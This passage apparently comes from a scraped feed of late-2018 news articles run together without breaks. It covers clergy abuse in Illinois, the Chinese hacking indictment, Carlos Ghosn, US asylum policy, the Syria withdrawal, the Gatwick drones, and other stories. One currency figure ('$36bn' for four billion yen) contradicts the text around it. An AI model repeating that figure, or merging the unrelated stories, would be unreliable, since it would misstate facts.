no other kids are harmed, said Minneapolis-based Jeff Anderson. Madigans office said the problems went beyond a lack of effort. In some cases, the report found, efforts were made to work against the accusers. When the Illinois Dioceses investigated an allegation, they frequently found reasons not to deem an allegation credible or substantiated, according to the report. Not only did Madigans office find a pattern of dioceses failing to substantiate allegations that came from one person, but the dioceses also often found reasons to discredit survivors stories of abuse by focusing on the survivors personal lives. Church cannot police itself Illinois church leaders expressed regret about the abuse, but pointed to steps they have taken to address what has become an international crisis. Chicagos archbishop, Cardinal Blase J Cupich, said in a statement that although he regretted our failures to address the scourge of clerical sexual abuse, the archdiocese has been a leader in dealing with the issue, including a policy since 2002 of reporting all allegations of child sexual abuse to civil authorities. The Springfield diocese said that it reviewed paper files of clergy dating to its 1923 founding and provided Madigans office with documentation of each instance of abuse, regardless of whether it was deemed credible, according to a statement. The Diocese of Joliet said in a statement that it took steps such as establishing in 1993 a review committee made up of people from law enforcement, social service agencies and others to investigate allegations of sexual abuse. Madigan said her offices findings make it clear that notifying authorities is critical, and pointing to instances when dioceses used personal information about people to discredit them and help them conclude accusations werent credible. The preliminary stages of this investigation have already demonstrated that the Catholic Church cannot police itself, she said. One month after an isolated tribe killed an American missionary as he attempted to make contact, Indian police have not tried to retrieve the body from his remote island grave. Dependra Pathak, local police chief, told the AFP news agency that at this point the investigators were trying to interview two US missionaries suspected of encouraging John Allen Chau, 26, to go to North Sentinel in the Andaman Islands. The identities of the missionaries, a man and a woman, have not been given. They are known to have left India. The notice, which would have to go between the Indian and US governments, would only require the duo to answer questions. We have initiated the process of serving them a notice to be part of [the] investigation, Pathak said. Chau, who breached a strict cordon put around North Sentinels isolated inhabitants, was cut down in a hail of arrows, according to fishermen who dropped him off nearby, as he marched towards the Sentinelese tribespeople. Chau was killed in mid-November, but news of his death emerged six days later. Seven people, including six local fishermen, were arrested for helping Chau travel to the remote island. All were granted bail this week. Police have sent a vessel close to North Sentinel twice in a bid to see where Chau may have been killed. They acknowledge that it is unlikely that they would risk provoking the tribe by setting foot on the island. The incident cast a new spotlight on efforts to protect one of the worlds last uncontacted tribes. Anthropologists and activists for isolated tribal areas have called on Indian authorities not to try to retrieve the body due to the risk of introducing diseases that could wipe out the community. We are still awaiting the firm view of the Anthropological Survey of India and field experts, Pathak said. What we have gathered is that going over there is not desirable for their health and psychological wellbeing. US accuses two Chinese nationals of carrying out extensive hacking campaign on behalf of Chinas intelligence agency. The United States and several allies have accused China of conducting economic espionage, escalating tensions as US prosecutors indicted two Chinese nationals linked to their countrys spy agency on charges of stealing confidential data from government agencies and companies in the US and nearly a dozen other countries around the world. The two, identified as Zhu Hua and Zhang Jianguo, worked in China to hack into computers to steal intellectual property and confidential business and technological data, according to an indictment, unsealed on Thursday. US authorities said the two worked in association with Chinas ministry of state security, in an operation that allegedly targeted intellectual property and corporate secrets to give Chinese companies an unfair competitive advantage. Hacking targets included the US Navy, the National Aeronautics and Space Administration and companies involved aviation, space and satellite technology, the indictment said. Britain, Australia and New Zealand joined the US in chastising China over what they called a global campaign of cyber-enabled commercial intellectual property theft, signaling growing global coordination against the practice. Overall, prosecutors say, the alleged hackers stole hundreds of gigabytes of data, breaching computers of more than 45 entities in 12 states. They are not in custody and the US does not have an extradition treaty with China. Chinas goal, simply put, is to replace the US as the worlds leading superpower and theyre using illegal methods to get there, FBI Director Chris Wray said at a news conference. 181207184836739 The companies targeted by China were a whos who of US businesses, Wray said. The US Justice Department accused China of breaking a 2015 pact to curb cyber espionage for corporate purposes. In an operation coordinated with US allies in Europe and Asia, Deputy Attorney General Rod Rosenstein said the inditement of the duo aimed to rebuff Chinas economic aggression. We want China to cease its illegal cyber activities, Rosenstein said. On Thursday, the UK said it was joining allies in holding the Chinese government responsible for the global hacking campaign. This campaign shows that elements of the Chinese government are not upholding the commitments China made directly to the UK in a 2015 bilateral agreement, the statement said. Australian officials also issued a statement expressing serious concern about Chinese commercial intellectual property theft. An official in New Zealand said in a statement the country joins likeminded partners in expressing that such cyber campaigns are unacceptable. Canada, Japan, the Netherlands and Sweden also were expected to denounce Chinese cyber efforts, according to a source who spoke on condition of anonymity. Heightened tensions The indictments came amid heightened tensions over trade, hacking and geopolitical issues between Washington and Beijing. On October 30, the US indicted 10 Chinese nationals, including two intelligence officers, over a five-year scheme to steal engine technology from US and French aerospace firms by hacking into their computers. Earlier that month, the Department of Justice obtained the unprecedented extradition of a senior Chinese intelligence official from Belgium to stand trial in the US for running the alleged state-sponsored effort to steal US aviation industry secrets. In early December, Canada arrested an executive of Chinas leading Huawei telecommunications company at Washingtons request. The US plans to charge her with fraud charges related to sanctions-breaking business dealings with Iran. Since then, China has detained three Canadians, in an apparent bid to pressure Ottawa into fully releasing the Huawei executive, who is now out on bail. And, according to reports, US officials believe Chinese government-linked hackers were behind the theft of data on some 500 million guests of hotel giant Marriott, first reported on November 30. Ghosn may now be released as early as Thursday if a bail request by his lawyer is accepted by the court. A court in Japan has denied a prosecutors request to extend the detention of former Nissan chief Carlos Ghosn. The decision by the Tokyo District Court on Thursday means Ghosn, one of the global car industrys most powerful leaders, may soon be released from jail where he has been confined since his arrest for alleged financial misconduct. The 64-year-old executive was arrested on November 19, along with aide Greg Kelly, over allegations that they under-reported Ghosns pay by about five billion yen ($44m) between 2011 and 2015. Both have since been charged. Tokyo prosecutors last week added a second allegation that they also under-reported another four billion yen ($36bn) in Ghosns pay for the period 2016-2018, for which their first 10-day detention was to expire later on Thursday. The court also decided to not extend detention for Kelly. Its denials are extremely rare in a country where requests from investigative authorities for extended detention are almost automatically approved. If a bail request by his lawyer is accepted by the court, Ghosn may be released as early as Thursday. 181202121539778 Prosecutors are expected to appeal the bail request and could take further legal steps to allow them to investigate Ghosn and Kelly longer. It was not immediately clear how much the bail would be, meaning it was still unclear whether Ghosns release was possible. Brazilian-French-Lebanese business leader Ghosn spearheaded a remarkable turnaround at Japanese carmaker Nissan. But the recent scandal has raised concerns over the company and the future of its alliance with Renault SA of France, which was enlarged in 2016 to include Japans Mitsubishi Motors Ghosn had shaped the alliance and was pushing for deeper ties including, potentially at the French governments urging, a full merger despite strong reservations at the Japanese carmaker. Nissan and Mitsubishi both dismissed Ghosn as chairman while Renault decided to retain him as chairman and chief executive following his arrest in Tokyo. Tijuana, Mexico A US federal judge on Wednesday struck down the policies put in place by former Attorney General Jeff Sessions that made it harder for individuals fleeing domestic and gang violence to obtain asylum. Last June, Sessions reversed precedent put forth by the Obama administration that allowed more individuals to cite domestic violence and fears of gang violence as part of their asylum application. Sessions argued that the mere fact that a country may have problems effectively policing certain crimes such as domestic violence or gang violence or that certain populations are more likely to be victims of crime cannot itself establish an asylum claim. On Wednesday, Judge Emmet Sullivan found the policies arbitrary, capricious and in violation of the immigration law. Sullivan also ordered federal officials to return plaintiffs who were deported and provide them with new credible fear determinations consistent with the immigration law. The decision was the result of a lawsuit filed by the American Civil Liberties Union (ACLU) on behalf of a dozen asylum seekers, including children, who had their asylum claims rejected after their credible fear screenings by asylum offices, an initial step in the asylum process where officers determine whether asylum-seekers have a well-founded fear of persecution. 181204164501954 Plaintiffs in the ACLU case were placed in removal proceedings without a hearing, according to the ACLU. That included an indigenous woman named Grace, who fled Guatemala after enduring 20 years of rape and beatings by a partner. Judge Sullivan permanently blocked the government from continuing to apply those practices and from removing plaintiffs who are currently in the United States without first providing credible fear determinations consistent with the immigration laws. I wont survive in my country In the Mexican border city of Tijuana, where thousands of Central American migrants and refugees have been living in different shelters after arriving last month as part of a collective exodus, migrants, including Xiomara Ramirez Hernandez, hope the decision will help their chances of getting asylum in the coming months. Up until today Hernandez, 52, from San Salvador, El Salvador, didnt think she had a good chance of obtaining asylum. Shes staying in Tijuanas El Barretal shelter, along with more than 3,000 other migrants and refugees, and has been in the border city for a month now. On October 18 of this year, she was ordered to leave San Salvador within 24 hours by a member of the Barrio 18 gang, a known rival of the MS 13 gang. The threat came after Hernandez found out her 22-year-old daughter was found beaten and naked in an empty lot in the capital city. She has been attacked, raped and left for dead by a member of Barrio 18. Hernandez approached San Salvadors attorney generals office to report the crime. Within days the perpetrator showed up at her door and gave her an ultimatum: leave the city or stay and be killed. 181123170408532 She joined the migrant caravan to escape the threats. On Wednesday morning, Hernandez was thinking about leaving Tijuana and travelling to Ciudad Juarez to look for work. But Judge Sullivans decision might mean a change of plans. If I have the chance to present my asylum claims, Im going to, absolutely, she told Al Jazeera. I wont survive back in my country. Human rights advocates and lawyers slammed Sessionss decision earlier this year as a violation of womens human rights. Gender violence is a widespread issue in Central America and at least 50 percent of women experience domestic violence in the region. UN Women has said that domestic violence represents only the beginning of a number of violent acts that could culminate in femicide. An estimated 387 women were killed in Honduras in 2017 while every 18 hours a woman was killed in El Salvador that year. The Justice Department said it was still deciding whether it would appeal the decision. SDF fighters, Washingtons main ally in anti-ISIL fight, says a premature US pullout will have dangerous repercussions. The United States decision to withdraw from Syria will allow the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) to regroup at a critical stage in the conflict, US-allied forces fighting ISIL said. The Kurdish-led Syrian Democratic Forces (SDF) said on Thursday in a strongly worded bitter statement that a premature US pullout would have dangerous repercussions and a destabilising effect on the entire region. The war against terrorism has not ended and (ISIL) has not been defeated, the statement said, rejecting President Donald Trumps claim in the opposite direction. 181219235322303 The statement said the fight against the group was at a decisive stage that requires even more support from the US-led coalition against it. The SDF also said the withdrawal would leave Syrians stuck between the claws of hostile parties fighting for territory in the seven-year-old war. Trumps announcement on Wednesday stunned US legislators and Western allies, who challenged the presidents claim of victory. The US president defended his decision on Thursday. In a series of tweets, Trump said he was fulfilling a promise from his 2016 presidential campaign to leave the Middle Eastern nation. The US was doing the work of other countries, including Russia and Iran, with little in return and it was time for others to finally fight, he wrote. Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight.. Donald J. Trump (@realDonaldTrump) December 20, 2018 The SDF, reportedly supported by roughly 2,000 US troops, are in the final stages of a campaign to recapture areas seized by ISIL. However, they face the threat of a military operation by Turkey, which considers the Kurdish fighters who spearhead the force to be a terrorist group. They are also under the risk of possible advances by Syrian forces backed by Russia and Iran committed to restoring President Bashar al-Assads control over the country. Western allies: US decision premature Western allies including France, Britain and Germany also described Trumps assertion of victory as premature. For now, of course, we are staying in Syria because the fight against Islamic State is essential, Europe Minister Nathalie Loiseau said, using another name for ISIL. 181220113100797 France has about 1,100 troops in Iraq and Syria providing logistics, training and heavy artillery support, as well as fighter jets. In Syria, it has dozens of special forces, military advisers and some foreign office personnel. A British junior defence minister said on Wednesday he strongly disagreed with Trump. [ISIL] has morphed into other forms of extremism and the threat is very much alive, Tobias Ellwood said in a tweet. ISIL declared a caliphate in 2014 after seizing large swaths of Syria and Iraq. ISIL established its de facto capital in the Syrian city of Raqqa. However, the group lost all their strongholds and the vast majority of the territory it controlled since then. Busy airport suspends all flights, causing severe disruptions during one of the heaviest travel times of the year. Londons Gatwick Airport, the second-busiest in the United Kingdom, has shut down while officials urgently investigated reports that two drones were flying above the airfield. The airport suspended all flights late on Wednesday, causing severe disruptions just days before Christmas, one of the heaviest travel times of the year. An increase in near collisions by unmanned aircraft and commercial jets has fuelled safety concerns in the aviation industry in recent years. Flying a drone within 1km of an airport or airfield boundary was made illegal in Britain at the end of July. Police and aviation authorities were still investigating early on Thursday as incoming flights were diverted to other locations in the UK and nearby countries. Passengers complained on Twitter that their flights had landed at London Heathrow, Manchester, Birmingham and other cities. Other flights were sent to France and the Netherlands. Fully appreciate that this isnt your fault, but is there any news on diverted flights? We have no one in arrivals telling us what is happening. Its pretty poor really. There are young children waiting here #gatwickairport #drones Danuta Kean #MaskWearer #notAnInformer (@Danoosha) December 19, 2018 One traveller whose flight was diverted tweeted that passengers were not being told when they could continue to their destination. Gatwick advised travellers via Twitter to check flights scheduled for Thursday before heading to the airport. It also advised anyone planning to pick up arriving passengers to check first. Any problem at Gatwick causes a ripple effect throughout Britain and continental Europe, particularly during a holiday period when the air traffic control system is under strain. A busy airport 43km south of Britains capital, London, Gatwick hosts a number of short- and long-haul flights and serves as a major hub for the budget carrier easyJet. The airport normally operates throughout the night but the number of flights is restricted because of noise limitations. According to its website, it usually handles 18 to 20 flights overnight during the winter months. In a statement, Gatwick apologised for the inconvenience but said it had to put safety first. There have been occasional reports of drones nearly hitting commercial airliners in the London area in recent years. Strong sales of small consumer drones have led to repeated warnings about a possible threat to scheduled flights. Police hunting for other suspects in the murder of Scandinavian women after arresting a man in Marrakech on Tuesday. A man arrested on suspicion of the killing of two female tourists from Norway and Denmark in Moroccos Atlas Mountains belongs to an armed group, a prosecutor has said. The Rabat public prosecutors office did not name the group in a statement on Wednesday. The womens bodies were found on Monday in an isolated area near Imlil, on the way to Toubkal, North Africas highest peak and a popular hiking destination. The suspect was arrested in Marrakech, Moroccos tourist hub, on Tuesday and police were hunting other individuals identified as suspects. We are working to bring before justice three other suspects on the run, said police spokesperson Boubker Sabik. The two tourists Louisa Vesterager Jespersen, 24, of Denmark and 28-year-old Maren Ueland of Norway were killed in an unguarded area in hard to reach mountains, he said. Investigations are also going on to authenticate a videotape shared on social media claiming to show the killing of one of the tourists, the general prosecutor said in a statement. 181218101324503 The video purportedly showed the killing, with a woman screaming while a man cuts her neck with what appears to be a kitchen knife. A source from Imlil said one of the victims was found dead inside her tent while another was found outside. Citing a security source, Moroccos public TV channel 2M said on its website that investigations showed that the slaying of the two tourists was related to armed groups. Moroccan media outlets reported that investigators have video surveillance footage showing three suspects putting up a tent near the victims tent and leaving the area after the slaying. Safety precautions Authorities in Denmark and Norway warned their citizens against hiking without local guides in Morocco after the killings. Danish police officials said on Wednesday they sent an officer to Morocco to assist in the investigation. Maren Uelands mother, Irene Ueland, told Norwegian broadcaster NRK her daughter had taken safety precautions before making the trip. Jespersens mother told tabloid BT that the family had warned her against undertaking the journey. 150325063807154 The University of South-Eastern Norway said on its website that both women were studying to earn bachelors degrees in outdoor life, culture and ecophilosophy. They attended a campus in Boe, southern Norway and west of Oslo. What we know is that they were on a monthlong, private holiday in Morocco. Our thoughts go to the families, the university said on its homepage, adding flags were flown at half-staff in their memory on Tuesday. Morocco has been largely insulated from the attacks by armed groups that have plagued other countries in North Africa. The latest bomb attack in the country dates back to April 2011 when 17 people were killed in a restaurant in Marrakech. Morocco has stepped up its effort to counter armed groups with the creation in 2015 of its own version of the FBI. The Central Bureau for Judicial Investigations has so far broken up 57 cells of armed groups, including eight in 2018. More than 1,000 Moroccan youths, predominantly from the north of the country, have joined armed groups in the Middle East. Citing irregularities, a coalition of 14 opposition parties has called for an overhaul of the electoral commission. Amid violent protests and military action, Togo is going ahead with its parliamentary elections with voting scheduled on Thursday. The protesters want President Faure Gnassingbe to resign. Citing irregularities, a 14-party opposition coalition has appealed to people to boycott polling. Al Jazeeras Paul Chaderjian reports. The overwhelming majority of women and older girls who passed through Libya as migrants reported being gang-raped by traffickers or witnessed others taken away to be abused, according to a UN report based on hundreds of interviews. The Office of the High Commissioner for Human Rights (OHCHR) said in a statement published on Thursday that its report, along with the United Nations support mission in Libya, turned up unimaginable horrors among migrants who sought to reach Europe through the largely lawless country. The 61-page report covers the period between January 2017 to August 2018. 181110102329706 The OHCHR said investigators pulled together 1,300 first-hand accounts detailing a terrible litany of violations and abuses committed by a range of state officials, armed groups, smugglers and traffickers against migrants and refugees. Those included unlawful killings, torture, arbitrary detention, gang rape, slavery, forced labour and extortion. The UN staff visiting 11 detention centres [in Libya], where thousands of migrants and refugees are being held, documented torture, ill-treatment, forced labour, and rape by the guards, and reported that women are often held in facilities without female guards, exacerbating the risk of sexual abuse and exploitation, OHCHR said. Female detainees are often subjected to strip searches carried out or watched by male guards. Libyas detention centres The African Union said in December there were an estimated 400,000 to 700,000 migrants in more than 40 detention camps across Libya, many in inhumane conditions. 181114144641204 Many people are held in unofficial and illegal centres run directly by armed groups or criminal gangs. They are frequently sold from one criminal group to another and required to pay multiple ransoms, OHCHR said. The European Union is spending approximately $200m in Libya to deter migrants from making the journeys, in which thousands have already drowned, including more than 1,000 people so far this year alone. The EU funds have been spent to recruit and train the Libyan coast guards and equip them with communications, rescue equipment, boats and vehicles. There is a local and international failure to handle this hidden human calamity that continues to take place in Libya, Ghassan Salame, special representative of the secretary-general and head of UNs Support Mission in Libya, was quoted as saying in Thursdays statement. Rights groups slam planned changes, saying move is illegal and violates the rights of refugees. The United States will soon send non-Mexican asylum seekers who cross the US southern border back to wait in Mexico while their requests are processed, the Trump administration announced on Thursday. Immigrant advocates and human rights groups quickly denounced the policy change as illegal and violating the rights of refugees. Mexicos government said that it would accept some of those who are waiting for humanitarian reasons, in what many will see as an early concession to US President Donald Trumps administration by Mexicos new president, Andres Manuel Lopez Obrador, who took office on December 1. We want to discourage those who are claiming asylum fraudulently, US Homeland Security Secretary Kirstjen Nielsen told a congressional committee on Thursday, describing the plan. In response to the plan, Mexicos foreign ministry underscored that it still has the right to admit or reject the entry of foreigners into its territory. Mexicos government has decided to take the following actions to benefit migrants, in particular, unaccompanied and accompanied minors, and to protect the rights of those who want to start an asylum process in the United States, the foreign ministry said. The ministry said the actions taken by the Mexican and US governments do not constitute a safe third country scheme, where migrants would have to request US asylum while in Mexico. 181220023053881 Department of Homeland Security officials told reporters on condition of anonymity that the Mexican government has said asylum seekers would have access to attorneys in Mexico and that migrants would be able to enter the US for their court hearings, without giving more details about how the process would work. Operationally this will look a little bit different at different ports of entry simply based on what the infrastructure is like in the area, said one official. We are not implementing this on the entire US border all at once. Mexico is not a safe country In response to questioning from Democratic US Representative Zoe Lofgren during her congressional testimony, Nielsen said the new policy will not apply to Central American unaccompanied children, who have some special protections under US law. Serious doubts remain over whether Mexico can keep vulnerable asylum seekers safe. Authorities are investigating the deaths of two Honduran teenagers kidnapped and killed in the border city of Tijuana last weekend. Immigrant and human rights advocates swiftly denounced the new policy, saying it violated international law and would put migrants at further risk. Make no mistake Mexico is not a safe country for all people seeking protection, said Amnesty International Executive Director Margaret Huang. Many people seeking asylum in the United States face discrimination, exploitation, sexual assault, murder, or the possibility of being disappeared while travelling through Mexico or while forced to wait for extraordinarily long times in Mexican border towns. Families look through the border barrier on the Mexican side of the US-Mexico border [Leah Millis/Reuters] Republican Representative Bob Goodlatte, the outgoing chair of the House of Representatives Judiciary Committee, praised the Trump administration for having reached the deal with Mexico. This agreement made under statutory authority will enable true asylum seekers to seek that status in a safe and orderly manner, Goodlatte said in a statement. Trump tweeted on November 24 that migrants at the US-Mexico border would stay in Mexico until their asylum claims were individually approved in US courts. But Kennji Kizuka of the nonprofit group Human Rights First said serious questions remain about the implementation of the plan. The administration seems to have no plan, Kizuka said in a statement. Will lawyers be able to visit their clients before hearings? Where will those hearings take place? We know that access to counsel is one of the most important factors in whether or not an asylum seeker is able to live in safety in the United States. Border wall dispute intensifies in US The new policy comes as Trump continues his efforts to sow fear over the thousands of refugees and migrants who have made their way from Central America to the US-Mexico border since mid-October. Many are fleeing violence, political persecution or extreme poverty. 181210211443443 Since arriving at the border last month, those part of the collective exodus who wish to apply for asylum have been told that they may have to wait up to two months before being able to claim asylum in the US. At the port of entry in Tijuana, among other locations, migrants and refugees are managing an informal list of those wishing to cross into the US to apply. The delay and dire conditions at the border have prompted many to cross into the US between officials ports, where most are held. Others have made the journey back to their homes in Central America. Rights groups have accused the US government of intentionally stalling processing at the border to deter migrants and refugees from making the journey north. US officials have denied the accusations. Meanwhile, Trump has sent mixed signals this week on whether he will allow a government shutdown if Congress does not give him the $5bn he has requested for his proposed border wall. On Thursday, as the midnight Friday deadline loomed to avert a shutdown, Republican House leadership said Trump would not sign a compromise temporary spending deal, citing the presidents dispute with Democrats over wall funding. In Senegal, prosecuted opposition leaders fight to participate in the presidential elections next February. Opposition parties in Senegal are preparing to demonstrate ahead of next years presidential election. Critics accuse President Macky Sall of eliminating challengers so he can retain power. Earlier this year, he sacked the mayor of Dakar, a potential opponent who has been jailed for corruption. But Senegals opposition leaders are forced to get creative to win votes. Al Jazeeras Nicolas Haque reports from Dakar. Despite assurances from US President Donald Trump that the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) in Syria is no more, the US-led battle to remove the armed group from its last stronghold the countys east has intensified in recent weeks, sources said in joint investigation by Al Jazeera and The Intercept. Amid heavy fighting between the Kurdish-led, US-backed Syrian Democratic Forces (SDF) and hardened ISIL fighters, scores of civilians and prisoners have been killed in US air raids in the eastern province of Deir Az Zor, according to sources on the ground. As part of that campaign, US warplanes bombed a hospital in the village of Al Shafah late last month, killing patients and medical personnel working there, including their families, sources told Al Jazeera and The Intercept. An ISIL fighter said the hospital was reduced to only stones and a huge crater in the middle. Two senior US diplomats with knowledge of the fight against ISIL, who spoke to Al Jazeera and The Intercept on the condition of anonymity, confirmed the air raid on the hospital. One of them maintained that it was justified and legal, saying ISIL fighters were firing at coalition forces from the hospital, making it a legitimate target. On Wednesday, Trump announced a withdrawal of US troops from Syria, tweeting: We have defeated ISIL in Syria, my only reason for being there during the Trump Presidency. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. Donald J. Trump (@realDonaldTrump) December 19, 2018 The reality, however, is far more complex. Its true that the group, which once controlled a wide swath of land stretching from Syria to Iraq, has been significantly weakened. But even after Trumps announcement, the Department of Defense said the campaign against ISIL is not over. In the territories that remain under the groups control, it is waging fierce battles against US-backed forces while facing sorties from US warplanes in the sky. Whats more, ISIL fighters in Syria are confident they are still being led by Abu Bakr al-Baghdadi, the self-declared caliph and ISIL leader whose death has been reported by Iraqi, Russian, and Iranian media. Multiple sources have said the recent air raids in eastern Syria have killed the families of ISIL members, as well as Kurdish prisoners being held by the group. Peter Bergen, National Security Analyst Bombing of hospital In October 2017, when ISIL began to lose control of its de facto capital, Raqqa, multiple US and British news organisations described the battle there as the groups last stand. But it was largely an orchestrated one. As part of a negotiated withdrawal of Raqqa, the Syrian government provided buses to transport ISIL fighters and their families to towns in Deir Az Zor, an eastern province near the border with Iraq that was at the time largely under ISIL control. The remaining pockets of ISIL-held territory are villages in Deir Az Zor along the Euphrates River. These areas are largely under siege by Syrian government forces on one side and Kurdish forces on the other. For weeks now, markets in these towns and villages have been barren, leaving local civilians with little food. Things here are very difficult now, an injured former ISIL fighter in Hajin told The Intercept. Leaflets dropped by US fighter jets onto Deir Az Zor read The Syrian Democratic Forces are coming [Courtesy: The Intercept] US planes have been dropping leaflets in the remaining ISIL-controlled areas of Syria. The ISIL fighters and residents of those areas often rip up those leaflets and leave them on the side of the road. One side of a leaflet, an image of which was obtained by The Intercept, shows a soldier in fatigues looking out victorious over the desert as two fighter jets fly towards the horizon. The other side shows a tattered ISIL flag as a fighter throws down his weapon and retreats. The Syrian Democratic Forces are coming, the leaflet reads in Arabic. 181122200951722 The humanitarian situation was worsened by a US air campaign from November 25 through December 1, part of Operation Roundup, which has targeted the Middle Euphrates River Valley and Iraqi-Syrian border region. In a December 5 press release, US Central Command disclosed the bombings of ISIL armoured vehicles, supply routes, staging positions, and a storage facility, among other targets. But these air raids also have targeted heavily trafficked open-air markets and other civilian areas, according to multiple sources on the ground. The late November attack on the Al Yarmouk Hospital in the village of Al Shafah, also near Hajin, was part of that operation. The hospital had patients on the first floor, including captured Kurdish fighters; doctors families lived on the second floor. The hospital was hit with a so-called double-tap attack one bomb followed soon after by a second at the same location, according to sources on the ground. The monitoring group Airwars reported that between 10 and 45 civilians were killed, based on local news reports. The intentional bombing of hospitals and civilian areas during armed conflict is a violation of international law. US Central Command has said it is committed to avoiding and in every case minimising civilian casualties in bombing campaigns against ISIL. While the US official said the hospital was being used as an ISIL attack site, an ISIL fighter interviewed by The Intercept presented an alternative narrative. While he admitted that his understanding was that ISIL fighters were using the hospital as a meeting point, he said the group had been negotiating with the Syrian Democratic Forces to release the Kurdish fighters in its custody in exchange for opening the single main road out of the region to supplies for up to nine months. The ISIL fighter, who has knowledge of but was not directly involved in the negotiations, said the group believes the US did not want the deal to happen and bombed the hospital to kill the Kurdish prisoners, thus eliminating ISILs bargaining chip. Al Jazeera and The Intercept could not independently verify the claims of the US official or ISIL fighters on the ground. The US official evaded questions about the presence of civilians at the hospital. A Defense Department spokesperson did not respond to questions about the hospital bombing. Leaflets dropped by US fighter jets onto Deir Az Zor read The Syrian Democratic Forces are coming [Courtesy: The Intercept] ISIL power struggle As ISIL has suffered defeats on the battlefield, it has become increasingly driven by internal conflicts over questions of ideology, as well as allegations of corruption on the part of its leaders, according to three sources with knowledge of the divisions, and internal communications reviewed by Al Jazeera and The Intercept. Some religious scholars in towns and villages the group controls have questioned ISILs leadership and ideological doctrine, the sources said. Due to their religious authority, these scholars represent a credible threat to ISILs leadership control over the region. In recognition of this threat, ISIL had been imprisoning a number of these dissidents in a large building south of Hajin, three sources closely connected to ISIL said. Also held in that prison were Kurdish fighters captured on the battlefield. According to sources on the ground, a US bombing sortie levelled the prison where the leadership critics and Kurdish fighters were being held in an air raid last month. 180613071528506 Among those said to have been killed in the bombing were a notorious Austrian fighter named Mohamad Mahmoud al-Namsawi, who had been seen in videos taking part in executions, and Yousef Simrin, a Jordanian also known as Abu Yacoub al Urduni, who was formerly a senior religious official within ISIL. Despite their track records, these men had become internal theological critics of the group, the sources told Al Jazeera. Some of the other men killed in the air raid on the prison were former high-ranking members of ISILs religious and military leadership. According to sources, the imprisoned former leaders were accused of apostasy for opposing some of the groups practices, such as ex-communicating members for not following ISILs strict religious edicts. Others were imprisoned for their alleged communication with Jordanian Abu Mohamad al-Maqdisi, who is considered one of the key religious scholars behind modern Salafism, an ideology associated with groups like al-Qaeda and ISIL. Al-Maqdisi was a mentor to Jordanian fighter Abu Musab al-Zarqawi, who is credited by some with laying the foundation for ISIL. Al-Maqdisi has also criticised ISILs practices and wanton killing of noncombatant Westerners and locals. His opposition to ISIL and his early refusal to join the group, despite personal overtures from al-Baghdadi himself, caused the group to label him an apostate, the sources said. Still, scores of ISIL fighters venerated al-Maqdisi for his knowledge and history in the movement. ISILs security services accused many of these fighters of having secret communications with Maqdisi following ISILs defeats in Raqqa and Mosul. These men were among the prisoners killed in the US air raid, according to three sources closely connected to ISIL. ISIL leadership is also plagued by rumours of corruption, according to three sources in contact with former high-ranking ISIL members. These sources said that al-Baghdadi had taken at least a dozen women as concubines. This narrative tallies with claims that al-Baghdadi kept US aid worker Kayla Mueller as a sex slave before her 2015 execution. Even as ISILs territories erode, the sources said, the groups leader and others in his circle are also believed to be holding onto small fortunes accumulated through oil smuggling and extortion rackets during the groups rise. As the situation worsens for civilians in Syrias ISIL-occupied towns and villages, the fighters appear to be retreating. For weeks now, some of the groups fighters have travelled to the Iraqi border with cash to bribe their way across, according to an ISIL fighter interviewed by The Intercept. The plan is to slip as many ISIL fighters back into Iraq as possible before its remaining territory in Syria falls to Syrian government or Kurdish forces, the source said. But even as remnants of ISIL slip into the desert straddling Syria and Iraq, it is unlikely that this will be the last of them. So long as the region is plagued by sectarianism, dictatorships, and collapsing governments, ISIL is bound to make a comeback, said Peter Bergen, a US national security analyst. The real issue in the region is not ISIL itself, Bergen said, but rather the underlying conditions that produced it. Follow Ali Younes on Twitter: @ali_reports UN envoy De Mistura says he regrets the outcome, admitting his efforts to establish a committee while in office failed. The outgoing United Nations envoy to Syria, Staffan de Mistura, acknowledged that a committee tasked with writing a new constitution for the war-torn country would not be in place by year end as was hoped. We have nearly completed the work of putting in place a constitutional committee to draft a constitutional reform, as a contribution to the political process but there is an extra mile to go, De Mistura told the UN Security Council on Thursday. I deeply regret what has not been achieved, and I am sorry more was not possible, he said in his final address to the UN body before stepping down. The UN Security Council should share in that regret too, he also said and added that a renewed sense of common purpose and concerted action is needed in the UN body if 2019 is to be the real turning point for Syria. The committee has become the centrepiece of UN peace efforts in Syria and aims to set up elections that can turn the page on seven years of devastating war. De Mistura will hand over his job to Norwegian diplomat Geir Pedersen on January 7. No deal On Tuesday, Russia, Iran and Turkey, supporters of the main sides in Syrias complex civil war, together with UN representatives, failed to agree on the makeup of the committee but called for it to convene early next year to kick off a viable peace process. According to the UN plan, the committee would have 150 members: 50 chosen by the regime of President Bashar al-Assad, 50 by the opposition and 50 by the UN, the latter group made up of technical experts and representatives of civil society. However, Damascus blocked the composition of the third group, and recently suggested its own 17 name changes to the list, according to a diplomat who asked not to be named. 181220142855691 Although Damascus objection was backed by Russia, Iran and Turkey, the UN said the changes would alter the balance of the group and said it could only accept six of them. The United Nations, having examined the names, assessed that we would not feel comfortable yet giving the UN stamp of legitimacy to all 50 of them as meeting the necessary criteria of credibility and balance, De Mistura said, calling some of those Syria had sought to exclude natural bridge-builders. Russia and Iran, which support Assads regime, and Turkey, which backs the moderate opposition, have been in close cooperation through the so-called Astana talks that are aimed at finding a solution to the Syrian conflict. Various so-called de-escalation zones were agreed among the three guarantor powers in Syria as a result of multiple rounds of talks between the three powers. Russian president says he agrees on the whole with US president that ISIL has been defeated in Syria. Russian President Vladimir Putin has welcomed US President Donald Trumps decision to send troops home from Syria after declaring victory over the Islamic State of Iraq and the Levant (ISIL, also known as ISIS). The fact that the US has decided to withdraw its troops is right, Putin told a press conference on Thursday. Trump announced on Wednesday that all US troops would be withdrawn from Syria and that ISIL had been defeated. The Russian president said that as concerns the victory over IS, on the whole, I agree with the US president, adding that we have dealt serious blows against IS in Syria. Trumps decision to pull out completely was confirmed by US officials and is expected to take place in the coming months. Nevertheless, Putin cast doubt on Washingtons plans, saying we dont see any signs of withdrawing US troops yet, but I concede that it is possible. In a Tweet on Thursday, Trump said that his decision to pull around 2,000 US troops out of Syria was no surprise and that he had wanted to do it sooner. Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA 